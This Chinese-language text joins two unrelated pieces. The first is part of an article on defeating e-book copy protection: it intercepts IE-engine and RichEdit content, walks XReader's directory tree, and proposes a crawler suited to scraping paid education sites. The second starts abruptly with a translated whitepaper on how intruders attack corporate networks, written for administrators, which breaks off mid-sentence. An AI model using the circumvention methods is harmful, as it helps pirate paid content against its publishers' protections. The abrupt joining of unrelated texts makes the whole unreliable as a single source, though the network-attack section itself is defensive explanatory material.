对于搞过网页在线翻译、网页内容过滤的人来说,MIME Filter可是吃饭的本钱,它的作用和实现机理应该早就烂熟于心,但是对于其它人来说,可能还不是很熟,所以这里简单介绍一下:为了便于对IE内核的功 能进行扩展,微软规定在IE内核显示某种标准格式(HTML、TEXT等)的内容之前,会先将要显示的内容传递给这种格式的过滤器,即MIME Filter,由它先对内容进行预处理(如将英文翻译成中文,将下流文字替换成星号等),然后再显示。

按照这个原理,如果实现一个针对HTML格式的MIME Filter,即可拦截到最原汁原味的HTML代码。可惜,经过我的尝试,这招对IE本身是灵的,对某些电子书也有效,但是对另一些无效。再加上使用 IHTMLDocument2接口指针的方法要比这种方法简单得多,也可靠得多,所以后来在我开发的反编译工具KillEBook、IECracker和 CtrlN里就没有使用这种方法。不过这种方法也有一个好处:与平台无关,我在98/Me/2000/XP下都试过,当然都是在虚拟机下试的啦。

MIME Filter的作用机理、实现方法在MSDN里有详细说明,并提供了详细的实例代码,有需要的可以到MSDN上搜“MIME Filter”。

3、获取图像的方法

与HTML代码相似,IE内核对图像的处理也有一个“下载->解码->显示”的过程。考虑到显示代码的抽象性,原来各种各样的图像格 式,包括JPG、GIF、PNG、TIFF等,在解码后都被统一表示成位图格式,而原有格式数据在解码后即被从内存中释放,只在IE的cache中留有文 件备份。如果指定不允许保存本地cache,则连这个备份都没有。在IE中通过右键菜单选“图片另存为…”的时候,其实就是将cache中的文件备份 拷贝一份出来,如果cache中已经没有备份,就只能保存内存中的位图(*.bmp)了。现在明白为什么有些图片明明是jpg格式,但是用IE却只能保存 为“无标题.bmp”了吧?

因此,获取图像文件要比获取HTML文件难得多。而且在MSDN里说得很清楚,用IHTMLDocument2接口只能得到图像的链接,用MIME Filter也不能搞到网页里的图像数据,因此需要另想办法。我想过、试过的包括:

  1. 先将图像复制到剪贴板,再从剪贴板里获取图像数据,然后根据图像文件扩展名(可以从图像元素的URL里解析),编码成原始图像格式,包括jpg、png、gif、tiff等。这个方法实现比较简单,到MSDN KB里搜索Q293125,拷贝图像到剪贴板的现成源代码就有了,图像编码的源代码则可以参考cximage,这个也是google一下就有的。不过这个方法远非完美无缺:a). 对于png、gif等允许带透明背景的格式,用这种方法处理后就不透明了。b). gif动画处理后就动不起来了,只能显示其中的某一帧。c). 对于jpg这样的有损压缩格式来说,每压缩一次就损失一次,多压缩几次可能就没法看了。d). 在电子书里,可以通过标准的Windows API函数,使剪贴板失效。
  2. 将IE内核导航到图片,然后通过IViewObject接口获取图片的拷贝。这个方法与上面的方法基本相同,不过不通过剪贴板,可以防止因为剪贴板被封锁而搞不到图像。
  3. 使 用IE图像解码插件。IE内核在下载到某种格式的图像文件后,会调用对应的解码器,对图像进行解码(类似于MIME Filter)。为了便于扩充,解码器是做成插件形式的。如果自己做一个图像解码器插件,对解码请求进行拦截,即可获得解码前的原始图像格式数据。解码器 的接口、实现方法在微软公开文档中没有任何蛛丝马迹,但是在那份传说中的源代码里,不仅有详细的接口规范,而且有好几个内嵌图像解码器的实现代码,可供借 鉴。奇怪的是,虽然在MSDN中找不到,但是我在google上搜的时候,却发现有一个日本人在自己的个人网站上,早就给出了详细的图像解码器插件实现方 法,一步一步说得很清楚,而且落款时间是2002年12月!看来这份源代码的泄漏时间可能比想象的要早。当然这个日本人也可能本来就在微软工作,或与微软 有合作关系,可以光明正大地查看解码器源代码也说不定。

4、通用反编译器的实现

在解决了HTML、页面元素等的获取方法后,通用反编译器KillEBook的实现就很简单了,其算法可以描述如下:

  1. 打开电子书。
  2. 定位电子书的显示窗口。
  3. 获取当前显示页面的HTML代码。
  4. 解析页面HTML代码,得到其中的所有链接。
  5. 获取页面上的所有元素内容,包括图片等。
  6. 引导IE内核依次加载HTML链接页面。
  7. 重复步骤3~6,直到所有页面及其中的元素都已获取到。

5、进一步讨论

在完成KillEBook后,我发现其实对它扩展一下,就可以成为一种新的离线浏览器,解决传统离线浏览器(Offline Explorer Pro、Webzip等)面临的一个问题:传统离线浏览器多半与IE内核没什么瓜葛,因此在抓静态网页的时候都没有什么问题,但是在抓用session维持的动态网页时,都有点问题,更不用说抓需要PKI证书验证的HTTPS网站。

因此我考虑可以实现这样一个离线浏览器:

  1. 提供一个地址栏供用户输入起始URL。
  2. 内嵌一个微软web browser控件(IE内核),供用户交互,包括在网页上输入用户名/密码、从IE证书库中选择证书。
  3. 用户登录成功、进入需要开始抓取的网页后,设定递归深度、URL过滤条件,点“开始”按钮开始抓取。
  4. 离线浏览器自动引导web browser进入每个页面,每进入一个页面,都通过web browser控件获取客户端HTML源代码及页面元素,包括图片、css、js、flash等。

采用这种方法实现的离线浏览器,由于使用web browser控件,因此可以维持客户端session,抓取到动态网页。虽然网页抓取下来就成了静态的,但是对离线浏览来说应该不成问题,对付收费的网上教育等网站正好合适。

2.3 HLP格式

这种格式出现得比较早,在16位Windows(Windows 95以前的各Windows版本)下曾是标准的帮助文件格式,因此大概也算是Windows下出现得最早的电子书格式之一了。

由于这种格式比较流行,国外研究的也比较多,不过公开源代码的我似乎只见过一个HELPDECO v2.1。这个软件是一个控制台程序,因此有人做了一个GUI外壳DuffOS对它进行封装。国内有人对HELPDECO进行过汉化,到汉化新世纪搜索一下就可以找到,包括全部源代码。

在UnEBook中使用了HELPDECO的源代码,实现对HLP文件的批量反编译。不过从我使用的情况看,原版HELPDECO有一个小小的不 足:反编译出来的RTF文件没有指定字符集。这对英文RTF来说没有任何影响,但是对中文RTF来说,其影响足够强到使您打开RTF后看到的是一堆乱码。 它的修正方法有两个:

  1. 用文本编辑器打开反编译出来的RTF文件,手工指定中文字符集。这个是一种比较累的方法。
  2. 修改HELPDECO源代码,加上字符集修正,这个是一劳永逸的办法。但是不知道为什么,在汉化新世纪推出的汉化版上,我看到的还是原版的HELPDECO。看来汉化者只是用它反编译过英文HLP,没有反编译过中文HLP。

另外这份源代码还有一个不知道算不算是严重的问题:变量没有统一初始化、释放,因此不仅在程序退出的时候,VC++会报告有内存漏洞,而且就象当年 的DOS内核一样,几乎没有可重入性。我曾经试图修复这个bug,但是在经过一个下午的奋斗后,有两处泄漏死活找不到。最后我还是决定向DuffOS学 习:将HELPDECO代码封装成一个独立的DLL,每反编译一个HLP文件,都动态加载、释放一次DLL。这样一方面可以利用Windows本身的 DLL管理机制,弥补HELPDECO产生的内存漏洞,一方面解决不可重入问题。收费的“耶书制造”软件提供的HLP反编译功能也是用DLL文件实现的, 因此我严重怀疑它的作者可能也曾遇到过相同的烦恼,嘿嘿嘿……

从HLP文件反编译出来的RTF文件,一般包含大量书签、分页符等与实际文本内容无关的东西,有必要转换成纯文本格式。这个实现倒是比较简单:

  1. 创建一个Windows标准的RichEdit控件,当然没有必要在用户界面上显示出来。
  2. 按SF_RTF格式,StreamIn原RTF文件内容。
  3. 按SF_TEXT格式,StreamOut文本内容。

UnEBook提供的从RTF到TXT的批量转换功能,就是按照上面的方法实现的。

2.4 小说网/小说世界(ebx/XReader)

这两家网站提供的电子书使用的是同一个阅读器,只不过小说网出现得比较早,提供的电子书多半不需要验证码,而小说世界出现得比较晚,提供的电子书多半需要输入验证码。

这种电子书分两种:ebx和EXE格式。ebx格式的电子书需要用专用浏览器XReader才能浏览,EXE文件的内容其实就是XReader + ebx包构成。

国内Cyu曾经推出过反编译这种EXE格式的工具--xReader Unpacker。从我试用的情况来看,这个工具的实现应该是基于对EXE文件格式的辛苦分析,果然勤劳善良的中国人什么时候都有啊!不过从我试用的结果看,这个工具也存在下列问题:

  1. 一次只能反编译一个文件,不能批量反编译,使用起来略有不便。
  2. 反编译出来的文件用左侧目录树中对应的节点命名,完全失去了文件的先后顺序。
  3. 在反编译某些文件,如《血酬定律–中国历史中的生存游戏》的时候,会出错退出。我个人猜想可能是因为对书中多级目录处理不当。
  4. 奇怪得很,只能对EXE文件进行反编译,不能对ebx文件反编译,其实这两种文件本是两位一体的。

当然,我试用的只是最初版本的xReader Unpacker,后来听说作者又进行了更新,这些问题都解决了也说不定。

在考虑反编译这种格式的电子书的时候,因为我已经在思考针对IE内核的通用反编译方法,因此从一开始我就没打算对文件格式进行分析,而是打算从界面元素入手,看看有没有什么后面可走:

  1. 先用IECracker抓一下窗口,发现根本就不是基于IE内核的东西。这个时候首先想到的就是:软件作者会不会向起点中文网学 习,将内容转换成图片,然后再显示?但是很快就否定了这个可能,一方面是因为XReader提供了文字放大、缩小功能,另一方面是因为启动金山词霸后,将 光标往窗口上一放,词霸显示出了抓词内容。这个时候脑袋里一闪念间,也曾出现过一个反编译方案:干脆向金山词霸学习,做一个API hook,抓它的显示内容算了,哈哈……
  2. 在确定XReader显示的东西不是图片后,我就启动SPY++,打算看看XReader的显示窗口用的是什么东西。但是查看的结果令人惊奇:每启动一次XReader,显示窗口的class name就会变化一次,是一个完全随机的字符串,从上面根本看不出这个窗口使用了什么控件。
  3. 再 多看几本电子书后,我发现所有电子书都有一个特点:完全没有图片,清一色都是纯文本,但是鼠标放到窗口上的时候,光标不会变成通常文本窗口的插入光标(一 条竖线),还是箭头光标。到这个时候,我已经开始准备相信软件作者完全继承了国人勤劳善良的光荣传统,自己写了一个文本输出控件了。……且慢,为什么在打 开这个大文件的时候光标会闪一下,从竖线变成箭头?再前后动动鼠标滚轮看看,每次不多不少,正好滚动3行,这个不是RichEdit控件的特性之一吗?!
  4. 立 刻启动SPY++,这次不看class name了,改看消息流。果然每次点击左侧目录树,都会向右侧显示窗口发送一堆RichEdit控件的消息:EM_SETBKGNDCOLOR(设置窗口 背景色)、EM_SETCHARFORMAT(设置光标形状)、EM_SETMARGINS(设置左右页边距)、EM_STREAMIN(导入显示内 容)。

既然已经确定右侧显示区用的是一个标准的RichEdit控件,而左侧目录树是一个标准的TreeCtrl控件,那么反编译方案其实也就出来了:周游左侧目录树,依次选中每个节点,然后拦截右侧RichEdit控件的输出,写入文件即可。

不 过在搞清楚XReader的原理后,我也产生了一个疑问:RichEdit控件本身是可以同时显示文本、图片的(RTF格式),但是为什么XReader 只显示纯文本,不显示图片呢?要知道这样可是会使做出来的电子书增色不少。开始我以为是为了保密,象我自己一开始不也差点误入歧途?如果不是偶然看到光标 闪烁,再动动鼠标滚轮,可能我一时也想不起来他用的是标准RichEdit控件。后来在看到早期版本的XReader后,我想更大的可能是为了兼容:早期 版本用WM_SETTEXT传递显示信息,只能显示纯文本,后来才改用EM_STREAMIN的。

总结一下,XReader中采取了下列措施防拷贝、防反编译:

  1. 随机更改RichEdit控件的class name,防止被人识破。
  2. 对光标形状进行设置,一方面防止被人识破使用的是RichEdit,一方面避免用鼠标选择、复制内容。
  3. 对WM_COPY、WM_GETTEXT、EM_STREAMOUT等等消息进行了过滤,因此直接从窗口获得文本内容就不要想了。

可惜,微软提供的RichEdit控件是用于开放环境的,一旦被识破,用微软本身提供的接口就足以搞到所需的内容了。

后来看到小说网早期放出来的EXE格式电子书,才发现XReader这个软件也是不断发展的,而版本升级的目的主要就是为了加强安全性,ebx格式本身却没有什么变化,一直很稳定,新的ebx文件也可以用老的XReader打开:

  1. 早期版本的XReader支持用命令行参数的方式,传入需要打开的ebx文件路径,这样容易被人利用,实现文件自动打开。后来版 本的XReader就只能通过菜单或工具条,点“打开电子书”才能打开文件。当然这个限制也不是不可以突破,不过毕竟没有用命令行参数传递这么方便。
  2. 早 期版本的XReader其实就使用WM_SETTEXT消息显示文本。如果早点看到这个版本的电子书,说不定我还可以少费点周折。后来版本改用 EM_STREAMIN,估计一方面是为了保密,另一方面是为了速度和性能:在显示大文件的时候,EM_STREAMIN比WM_SETTEXT快得多; EM_STREAMIN可以显示RTF文件,而WM_SETTEXT只能显示文本文件;EM_STREAMIN可以显示大型文件,而WM_SETTEXT 支持的文件长度是有限的。

3. 结论

  1. 就像信息安全中的攻与防一样,电子书的编译与反编译之间的斗争也将是一个永无止境的死循环。我相信不论电子书反编译技术如何发 展,都不会导致电子书的绝迹,毕竟有实际的需要。但是本文的发表,毫无疑问将会刺激电子书制作软件和制作技术的新一轮升级。那么我的文章和软件会不会随之 升级呢?我自己是没什么自信啦,毕竟我的自由时间越来越少,而如果没有其他人愿意象我这样研究反编译技术和软件(收费的免谈),我想最终胜利的一定是有商 业利益支撑的电子书制作软件。
  2. 先分析电子书的详细文件格式,再有针对性推出专用反编译器的方法,在初期确实是一个不错的方法,但是随着电子书格式的增多,如果每一种都要去分析一遍,早晚会累死。
  3. 电 子书制作软件其实也是人开发的,开发者当然也会有人类的通病——懒!只要有现成的东西可用,很少有人会再花力气去修练自己的独门功夫。而目前 Windows下的东西,开放性的考虑要比安全性的考虑更多一些,如果能够找到这些东西的突破口,即可突破同一类使用这些东西的电子书。
  4. 利 用现成控件的接口或漏洞,实现通用电子书反编译,这其实也是程序员懒惰的一种体现。这种方法虽然比老老实实分析、跟踪电子书简单许多,但是也有其天然缺 陷:只能反编译显示到控件中的内容。通俗一点说,如果电子书是加密码保护的,那么这种方法并不能在不知道密码的情况下,反编译出电子书的内容。

附录 基于IE内核电子书的实现方式探讨

电子书看多了,有时候我也会想,如果是我自己做一个电子书制作工具,我会采用什么样的技术加以实现?考虑到现在HTML格式文档的普遍性,在有人开放出新的HTML render之前,我的想法还是只能围绕IE内核打转。下面就是我想到的一些思路。

1、基于res协议

res协议是IE内核提供的一种非常简单的协议,允许将需要浏览的页面存放在EXE或DLL的资源(resource)中,IE根据URL定位EXE或DLL,装载其中的资源。下面这个URL就是这种协议的一个例子:

res://C:\WINNT\system32\shdoclc.dll/http_404.htm

如果您在IE中要浏览的页面不存在,IE就会通过这个URL,打开C:\WINNT\system32\shdoclc.dll,查找其中名为http_404.htm的资源,找到后提取、显示出来,您看到的就是一个提示页面不存在的网页。

从上面这个页面的源代码可以看到,除HTML代码外,res协议还允许在页面中包含图片等内容,如上面这个页面就显示了一个名为 pagerror.gif的图片,其绝对URL为res://C:\WINNT\system32\shdoclc.dll/pagerror.gif。

虽然res协议非常简单,基本上不需要额外的编程,但是我目前还没有看到有人用它做电子书,最多只看到有人用它显示软件的About信息。仔细想想,可能是因为这种协议太不保密了:随便找一个资源编辑器,就可以直接获取、替换资源内容了。

2、基于文件方式

这种方式的思路其实非常简单:需要显示网页的时候,先将网页解压缩到临时目录,然后用IE控件显示,退出的时候删除临时文件。

这种方式我早就知道,但是因为它实在是太简单了,所以连我自己都不相信有人真的会用它做电子书,直到我见到雄风网的 电子书:这个网站早期发行的电子书,虽然要求用户输入密码进行验证,但是在密码输对以后,就会把全部内容解压缩到temp目录下,然后用IE控件打开文件 进行浏览。虽然temp目录下的文件属性被设置为隐藏,但是这点小伎俩实在不值一提,所以只要破解了认证密码,电子书本身就已经提供了完整的反编译功能 了。

该网站后来发行的电子书虽然经过升级,但还是延续了这种模式,只不过在temp目录里存放的是加过密的HTML文件,但是图像文件却是不加密的,因此我猜测他们可能改用MIME Filter技术了。

3、基于流或document.write方法

用流往IE控件中写入内容的方法,在MSDN和CSDN中都有详细的讨论,连源代码都有。有需要的到MSDN搜索“Loading HTML content from a Stream”即可。

document.write在动态网页中比较常用,很多网页加密工具都是使用这招来实现网页源代码的隐藏。对于VC、Delphi等来说,这招不过是换成了IHTMLDocument2::write,效果是一样的。

使用这种方法做电子书的虽然不多,不过毕竟还是有的,我见过的就是读写网。由于打开这个网站的电子书后,IE主页就会自动设置为这个网站的URL,所以在这里就不给出这个网站的URL了,以免各位受到意外伤害。破解这种电子书的收费验证的方法,已经有人在紫宸殿网络论坛的技术区贴出来过,有兴趣的可以去看看。

在MSDN中对这种基于流的方法的局限性说得很清楚:

  1. 页面不能太复杂,如果页面包含的tag太多,显示出来的就不是解析后生成的页面,而是原始的HTML代码。大概就是因为这个原因,所以读写网放出来的电子书清一色都只有纯文本,加背景色。
  2. 当 前页面的URL永远不变(读写网的永远都是about:blank),因此IE内核没有办法从相对URL自动构造出绝对URL。就是因为这个原因,读写网 早期的电子书在页面中使用jpg文件作为背景,就只能将这个背景图片写到temp目录下,然后在网页中使用绝对URL引用这个图片。也正是因为这个原因, 所以在页面中不能包含“上一页”、“下一页”、“回目录”等链接,只能自己在左侧放一棵目录树,让用户一页、一页去点。

由于这种电子书的页面没有自己的URL,因此不能用KillEBook进行反编译,只能用IECracker或CtrlN,一页、一页手工抓取。

4、采用MIME Filter

与基于流的方法相比,这种方法不仅支持包含众多tag的复杂HTML页面,而且可以从相对URL构造绝对URL,因此支持页面之间的链接,实现也不复杂,MSDN上就有现成的例子可供参考。

不过这种方法的缺点也很明显:不能对图像等内容进行加密处理。下面说的协议插件方法就比这种方法强些。

5、基于web服务器

对于不懂行的人来说,“web服务器”听起来可能是一个很了不起的东东,但是对于懂行的人来说,实现其实很简单:

  1. 起一个监听线程,对本地80或任何一个指定的端口进行监听。
  2. 每监听到一个连接请求,起一个服务线程,根据请求内容,按照HTTP协议,返回内容。

codegurucodeproject上,有很多现成的web server代码,直接拿来用就好,自己只要考虑怎么填写返回内容即可。VC 6自带的MSDN光盘上,也带了一个名为HTTPSVR的例子,说明如何用MFC和WinSock创建web server。

使用这种方法虽然简单、直截了当,而且只要愿意,差不多能够模拟一个真正web server的功能(就算想实现app server也并非不可能,不过要花点功夫),但是也有问题:

  1. 基本上没有什么保密性可言,服务器起来后,本机其它进程很轻松就能下载到需要的内容。
  2. 如果本机上其它进程也提供TCP/IP服务,可能会产生端口冲突。

6、协议插件(Asynchronous Pluggable Protocols)

这个是微软专门为IE扩展的东西。

在互联网上,常见的应用层协议包括http、FTP等。出于种种原因,微软允许用户在标准的应用层协议之外,扩展自己的协议,称为Asynchronous Pluggable Protocol。到MSDN、codegurucodeproject上搜索这几个关键字,从理论到源代码都能找出一堆,在这里我就不罗嗦了。

Asynchronous Pluggable Protocol可以指定对所有进程有效,这个在注册表的HKEY_CLASSES_ROOT\PROTOCOLS\Handler下注册一下就好;也可 以指定只在某个进程内有效,以增加保密性,不过这个时候微软就不叫它Asynchronous Pluggable Protocol了,而是Pluggable Namespace Handler。

由于Asynchronous Pluggable Protocol具有一定的保密性,实现起来又有例子可参考,而且差不多与架设web server一样,能够对网页显示提供全面的支持,因此在电子书中得到了广泛的应用,我见过的就有mk(chm)、ada99(eBook Workshop)、wc2p(Web Compiler 2000)、ic32pp(Web Compiler 2000—exe防反编译格式)、e-book(E-Book Creator)、mec(E-ditor eBook Compiler)等。不过这种技术如果使用不好,可能会在注册表中产生垃圾,或产生垃圾文件(插件本身是一个COM控件,一般用DLL实现,使用前必须 在注册表中注册)。

7、最后一招

即使使用Asynchronous Pluggable Protocol,由于在IE内核中还存在可显示的HTML源代码,因此还是存在被导出的可能,这个就是上面正文里讨论了半天的东西。

我想到的最后一招制作防反编译的电子书的办法就是:在制作的时候,将所有页面内容全部转换成图片,然后再打包。将网页转换成图片的源代码参见这里:

http://www.codeproject.com/internet/htmlimagecapture.asp

使用这种方法,在拿到一本制作好的电子书后,想得到原始文本信息的方法大概只有两个:OCR和key in。这个也可以用起点中文网的方法来对付:使用手写体,加水印,故意增加错别字或替换标点符号等。据传说,起点就是根据用户ID,生成错别字和错误标点的,因此如果是原样key in或OCR,就可能被查出来。

但是回头一想,如果哪个电子书制作工具真的走到了这一步,大概也就离消亡不远了,用户还不如直接去做PDF:

  1. 所有动态效果全部没有,页面上的链接也全部失效,大概又只能靠在左侧放一棵目录树才能导航了。
  2. 页面大小、字符大小基本固定,显示的时候很难放大、缩小,尤其是放大的时候,要么速度比较慢,要么必须忍受难看的锯齿。
  3. 文件尺寸大增。对于以收藏为目的的电子书来说,这是一个必须以严肃的态度,认真地加以考虑的问题。

系统入侵者攻击企业或敏感数据网络方法白皮书

网络安全方案公司·FIST工作室(fist@ns2.co.uk)
Little Gray Man 译

———————————————————–
目录
———————————————————–

1 简介
1.1 弱点在哪里?
1.2 “系统入侵者”的原形

2 组网
2.1 众多公司的组网技术
2.2 了解此类网络系统的弱项

3 攻击
3 攻击
3.1 攻击者的”隐身术”
3.2 网络查探和信息收集
3.3 确定被信任网络结点
3.4 确定有弱点部件
3.5 利用网络部件的”弱项”
3.6 控制有漏洞的网络结点

4 滥用网络资源和访问权
4.1 下载敏感信息
4.2 攻击其他被信任的网络
4.3 安装后门和木马软件
4.4 使网络瘫痪

5 全面网络安全的改善
5.1 参考阅读
5.2 推荐工具和程序

———————————————————–
1.0 简介
———————————————————–
本白皮书是为帮助系统管理和操作人员深入了解典型系统入侵者采用的
方法和手段而编写。
本文不应被视为增强网络安全的指南,尽管本文的确能帮助您找出您的网
络系统的漏洞或指出可能发生的潜在事故。
我们希望您能够喜欢本文,并通过本文学习一些当前系统入侵者的运作方
法。

网络安全方案公司·FIST工作室(fist@ns2.co.uk)

———————————————————–
1.1 究竟漏洞在哪里
———————————————————–
每天,企业和各种组织都生活在各种各样的电脑网络中间,电脑网络使我
们能够有效地分享大量的数据资源。

一般来说,企业网络在设计和组建时主要考虑的是它的功能和效率,很少
会把安全性放在心上。尽管在短期从商业的角度上看,这样的做法并没有
错,但网络一旦运行和发展,安全问题便会随之而来,使使用大网络的公
司们要花数以百万的美圆去解决。

大多数企业网或敏感专用网以客户机-服务器的模式运作。在这种模式下
企业雇员使用本地工作站工作,需要时联上服务器以共享信息。在本白皮
书种我们会集中讨论服务器端的安全性,因为系统攻击者通常会先以服务
器为攻击目标。服务器是信息传递的”枢纽”,如果攻击者能取得服务器上
未授权的权力,那么对网络其他部分就容易多了。

对于攻击者大范围网络查探,容易被攻击的目标包括:
 银行和金融机构
 互联网服务提供商
 医药公司
 政府和防卫机构
 政府机构的供应商
 跨国集团

虽然大多数此类攻击的肇事者是内部人员(已经获得企业部分敏感信息访
问权的用户),但我们主要还是集中讨论纯外部的网络攻击技术。

对银行和金融机构的查探和攻击主要是为了行使商业诈骗。为了冒险获取
大量的金钱,许多银行已经被如此攻击。银行们一向不承认自己是外部网
络攻击的受害者,因为一旦这样的消息泄露他们肯定会损失大量的客户和
信用度。

互联网服务供应商是系统攻击者的普遍目标,因为ISP服务器很容易就可
以从internet上访问到。而且ISP们有大型高速联往世界各地光纤的访问
权,一旦攻击者们成功就能将大量的信息在internet上传输。规模较大的
ISP会有用户数据库,而这些数据库中通常会包含攻击者们感兴趣的用户
保密信息,诸如信用卡号、真实姓名、地址等。

医药公司通常主要是商业间谍攻击的受害者。在这种攻击中攻击者们会为
偷到的保密医药数据而得到大量金钱。那些医药公司花了数百万美元计的
巨资研究开发出来的医药数据,往往在这样一次攻击中就被泄露或丢失。

在过去6年中,美国的政府和国防机构遭受到internet上数以百万次的攻
击。由于这些机构的安全经费不足,安全制度不健全,加上这些政府和军
事机构经常被攻击者们刺探和攻击,信息安全问题成为一场费力的战争。

虽然国防工程的承建商十分重视安全问题,但他们仍然不免成为那些为获
取机密或敏感军事资料的攻击者们的目标,因为这些资料可以向外国的组
织卖个好价钱。虽然为公众所知的只有为数不多几个案例,但这些活动值
得警惕。

跨国公司是工业间谍行为的的主要受害者。跨国公司在世界各国都有办事
机构,所以一般都会建立大型的企业网络以供雇员之间有效共享信息。
NSS小组曾为数家跨国公司做过侵入测试,发现在很多情况下这些企业
网络都是可以被驾御的。

跟医药公司一样,跨国公司日常工作都是建立在电子数据传输、元件和电
脑有关的技术上,而且已经花了巨额资金在新技术的研究和开发上。所以
对于这些公司的竞争者,雇佣一批“系统攻击者”去非法获取这些公司的
秘密资料十分有诱惑力。

竞争公司可以采用的另一种攻击的形式是使对方公司的电脑系统瘫痪一
段时间,这样就会使对方公司损失大量的收入。通常很难确定这类攻击是
从何发起。如果内部网络分段和配置的不好,这类公司会给公司带来巨大
的影响和造成巨额的财务损失。

这种“违规行为”在现在的网络社会中十分普遍,应值得我们给予高度重
视。

———————————————————–
1.2 “系统入侵者”的原形
———————————————————–

研究表明,一个典型的“系统攻击者”通常是男性,年龄大约在16至25
岁之间。这些攻击者们在开始从入侵其他系统以提高自己的破解技术,或
非授权使用网络以满足自己需要中开始对系统攻击感兴趣。大多数攻击者
们对攻击都非常有恒心,这可能是因为他们有大量的空闲时间。

大部分攻击者都是机会主义者,他们会运行许多扫描程序去查找大量的远
程主机,希望从中找出系统弱项。当找到某台机器有可以被远程攻击的弱
项后,攻击者们会尝试得到管理者权限,安装供自己以后访问的后门,然
后补好那些会远程访问安全的通常系统弱项,以阻止其他攻击者利用同样
的攻击手段攻击已经被自己“征服”了的机器。

这些机会主义者主要采用两种方法:一是internet,二是电话网络。

要在internet上进行主机远程访问弱项扫描,攻击者通常会从一个他已经
取得权限的,有高速internet连接(通常是光纤连接)的机器上启动一个
扫描程序。

要扫描使用电话网络的机器,比如终端服务器、电子公告板系统或语音信
箱服务系统等,攻击者会使用一种自动拨号程序,这种程序会自动拨一个
指定范围的大量电话号码,从中寻找可以被确认为以上电话网络系统的
“载波信号”,从而确定攻击对象。

只有很少一部分系统攻击者在发起攻击前有明确的攻击目标,这些攻击者
的技巧熟练得多,会采用最新的攻击技巧去征服一个网络。有一类攻击者
就是专门利用防火墙的未公开的漏洞和“功能”,通过企业自身在internet
上的防火墙攻击防火墙内的机器。

这些攻击者确定要攻击的网络或主机通常装载有敏感的数据,比如技术研
究开发的记录,或攻击者们认为有价值的其他数据。

这些攻击者通常会拥有大型网络安全公司或顾问公司使用的安全工具,利
用他们去寻找特定目标的所有存在的各种安全缺陷。这种专攻击特定目标
的攻击者通常也很耐心,他们会在花几个月的时间去搜集各种有关的信息
之后,才尝试侵入某一系统。

———————————————————–
2.1 众多公司的组网技术
———————————————————–
一个典型的企业会使用internet作如下用途:
作公司WEB服务的主机
通过internet提供EMAIL和其他全球通讯服务
给雇员internet服务

在NSS进行网络渗透测试的公司中,一个企业的网络通常是由被防火墙
和应用程序代理服务器分割的不同网段。

在这样的网络中,企业的WEB服务器和电子邮件服务器通常是在企业网
络的“外部”,信息通过网络内外的信任域通道来进行信息传输。

当存在外部邮件服务器和内部主机之间的信任关系时,应该采用一种考虑
周详的邮件阻隔策略。通常企业应只允许外部的邮件服务器只和特定一台
“安全”的企业内部邮件服务器的25口通信,这样就会大大降低非授权
访问的可能性,即便外部的EMAIL服务器已经被控制。

在NSS进行网络渗透的公司中,有一家公司有许多“多宿主机”的机器。
这些机器具有两个网络接口,一个连接外部网,一个连接企业内部网。从
安全的角度看,这种在两个网段同时工作的机器可能会对网络安全造成严
重的危害。当控制一台这样的机器时,它就很容易被用作入侵内部网络的
“桥”。

———————————————————–
2.2 了解此类网络系统的弱项
———————————————————–

在internet上,典型的公司可能会装有5个外部WEB服务器,2个外部
邮件服务器和1个防火墙或数据包过滤系统。一般来说WEB服务器不是
攻击者们首要的攻击目标,除非防火墙在某些方面配置失误,使攻击者能
够利用这种失误控制服务器。不过在WEB服务器上安装TCP包过滤器,
只让被信任的机器使用telnet和ftp端口等安全措施总是一个好主意。

攻击者们一般会首先选择把邮件服务器作为进入内网的攻击目标,因为邮
件服务器一定有一个在外网和公司内网之间的连接以分发和交换内外邮
件(译注:一旦控制了邮件服务器,就肯定会有进入内网的渠道)。跟
WEB攻击一样,这种攻击策略是否有效取决与防火墙或数据包过滤系统
的配置。

过滤路由器是另一个攻击者们经常选择的目标,他们会使用攻击型的
SNMP扫描器和常用的字符串“暴力攻击程序”(译注:使用穷举法试用
户名和密码)进行攻击。如果这种攻击成功的话,路由器就会被轻易设置
为从外网到内网的网桥,从而使从外部攻击内网成为可能。

在上述情况下,攻击者们会仔细权衡应该尝试攻击哪些主机,找出外网的
主机和内网的主机有怎样的信任关系。所以假如您应该在所有外网的机器
上安装TCP包过滤器,并确认只有特定被信任的机器才能连接主机的重
要端口(服务),通常有:
ftp (21), ssh (22), telnet (23), smtp (25), named (53),
pop3 (110), imap (143), rsh (514), rlogin(513), lpd (515).

SMTP, named 和 portmapper 口应根据主机在网络中的作用而适当加以
过滤。

实践表明,实行包过滤会大大降低企业内网被攻击的可能性。

在没有明确的“企业上网”政策的公司内网中,会出现“多宿主机”和配
置不当的路由器,通常也会有内网分割不清的情况,从而使系统攻击者从
internet上使用非授权访问攻击攻击企业内网更加容易。

如果企业外网DNS配置不当,则很容易使企业网络“映像”的情况(译
注:得到企业网络机主机配置情况,可为下一步攻击作准备)。当NSS
进行渗透测试时,我们能够从这样的配置不当的DNS服务器中“映像”
企业网络的。因此,在企业外网机器和内网机器间不应配置DNS,在外
网与内网机器间只使用IP地址远为安全。

在多个网络都有网络接口的机器是不安全的,利用这种不安全的机器攻击
者们可以轻易访问企业网络,他们甚至可以不用compromise这些主机。
滥用这些机器的finger forward服务是一件很轻易的事,如:可以利用它
搜集用户、主机和网络的信息,从而确认企业内网中哪些机器值得继续攻
击,甚至还可以发送对root@host, bin@host, daemon@host的finger请求
来确认主机的操作系统,从而使系统攻击更为容易。

有些攻击者使用一种“自动拨号”的技术(译注:即不断尝试拨选定号码
区间的各个电话,以寻找有载波信号的的号码,一般这些电话是企业的终
端服务器),他们一般会选择公司所在位置的电话号码区间,如大厦或网
络运行中心。

当攻击者们找到并取得终端服务器的访问权后,一般来说他们就取得了进
入企业内部网络的一定程度的访问权,这样便完全绕开了分割公司内网与
internet的各种防火墙和滤包器。所以确保终端服务器的安全至关重要,
而且应记录到终端服务器的每一次连接。

当要了解网络系统的弱点时,应谨记,您的网络主机间的信任关系。这种
信任关系可能是由TCP滤包器、host.equiv文件、.rhosts或.shosts文件等
所建立。对大型网络通常会通过利用这些信任关系来进行攻击。

举一个例子:如果一个攻击者通过CGI的漏洞查看到你的hosts.allow文
件,并发现你允许所有来自*.trusted.com 的ftp和telnet连接,这样,他
就可以通过获取*.trusted.com中任何一台主机的控制,来进攻你的机器。

所以,有必要确保所有您信任的机器与您的机器一样能抵御来自远程的攻
击。

另外一种值得一提的攻击方法就是,在企业机器中安装“后门”或“特洛
伊木马”程序(比如在一些Windows 95/98的机器上),如果公司雇员能
